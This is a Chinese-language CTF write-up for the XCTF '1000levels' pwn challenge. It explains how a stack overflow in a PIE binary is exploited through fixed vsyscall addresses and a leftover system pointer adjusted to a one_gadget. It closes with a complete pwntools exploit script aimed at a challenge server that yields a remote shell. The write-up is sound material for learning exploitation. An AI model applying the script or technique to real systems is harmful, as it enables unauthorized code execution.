XCTF-1000levevls-WP

Posted on Jan 1, 2021
一些废话

这道题目有一种更具普遍性的解法(xctf提供)即部分leak system然后爆破,但是这样的几率非常低(大约万分之一),大体是通过修改rbp实现leak system的四个字节(前提是发现ida的一个识别错误),处理起来非常的麻烦,可以说很难想出这个解法。当然我是什么解法都不会的,从网络上的wp中发现了非常容易实现的利用方法,但是在大多数机器上都无法实现利用,而xctf的靶机恰巧不属于这大多数

初步分析

QQ截图20210101172711.png

这里是主要的漏洞点,就是一个栈溢出。如果这道题没用开pie那么随随便便就pwn了,但是可惜没如果,程序确实是开了pie的,也就是说我们什么地址都不知道,就没法rop了。

更进一步

之前在学srop的时候其实有碰到,但是当时没仔细看

有些系统上 SROP 的地址被随机化了,而有些则没有。比如说Linux < 3.3 x86_64(在 Debian 7.0, Ubuntu Long Term Support, CentOS 6 系统中默认内核),可以直接在 vsyscall 中的固定地址处找到 syscall&return 代码片段。如下 srop-gadget-2.png

引自CTF Wiki

这张图当时觉得长得奇奇怪怪的,自然的略过了,但是其实不仅对srop有用,对本题也非常有用,这三个vsyscall的地址是固定的(据说是内核层的,所以虚拟机无法模拟),每一个的效果都是

syscall rax
ret

也就是说可以充当一个pop_ret gadget,而且地址已知。有了这个gadget我们可以有限地控制程序的执行流程了。

最后的解法

QQ截图20210101174158.png QQ截图20210101174404.png 这个hint函数在反编译中表现为system的地址作为参数被传入sprintf,但是从汇编代码上来看,实际上在函数刚开始的时候system的地址就被存到栈中了,不论if的结果。 &system被存在rbp-0x110 QQ截图20210101174629.png 巧的是go函数中的v5也在rbp-0x110,这个函数和hint函数的栈基地址是相同的,所以v5的初值就是system的地址,而只要在询问"how many levels?“的时候输入一个小于等于0的数就可以避免v5被赋值,然后会再给我们一次输入的机会,输入的值直接加到v5上(这里的v5和v6的地址是相同的)。 考虑到手上有一个libc,就勉为其难的搜一波one_gadget吧,算出其与system的偏移在第二次输入就可以了。 这样我们我们就获得了一个可以get shell的地址,只要ret它就行了,ida分析出,v5与rsp相距0x10,看一看汇编代码也可以发现rsp在整个go函数调用漏洞函数前没有被修改过,call漏洞函数时,会压一个返回地址进去,所以one_gadget所在的内存和rbp被存储的内存相据0x10+0x8,我们用三个vsyscall就可以ret one_gadget实现get shell了。 QQ截图20210101182230.png

这里的v6肯定远大于99,所以我们要先陪它玩99次乘法,然后在最后一次(也就是go函数直接调用的漏洞函数)进行栈溢出,就可以get shell了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')

sh = remote("220.249.52.134",31264)
libc = ELF("./libc.so")
one_gadget_offset = 0x4526a - libc.symbols['system']
vsyscall = 0xffffffffff600000

sh.sendlineafter("Choice:\n",'2')
sh.sendlineafter("Choice:\n",'1')
sh.sendlineafter("levels?\n",'0')
sh.sendlineafter("more?\n",str(one_gadget_offset))

for i in range(99):
    sh.recvuntil("Question: ")
    lhs = int(sh.recvuntil(' ',drop = True),base = 10)
    sh.recvuntil("* ")
    rhs = int(sh.recvuntil(' ',drop = True),base = 10)
    sh.sendlineafter("Answer:",str(lhs * rhs))

sh.sendlineafter("Answer:",'a' * 0x30 + 'b' * 0x8 + p64(vsyscall) * 3)
sh.interactive()

这个exp跑本地基本十有十二跑不通(应该不会有人用那些上古版本的Linux版本吧),但是靶机上是可以跑的。仔细想想此题在许多地方进行了非常巧合的布置,显然是希望我们用这样的方法做的,但是说实话这样和实战的距离就实在是太远了,权当开拓思路吧。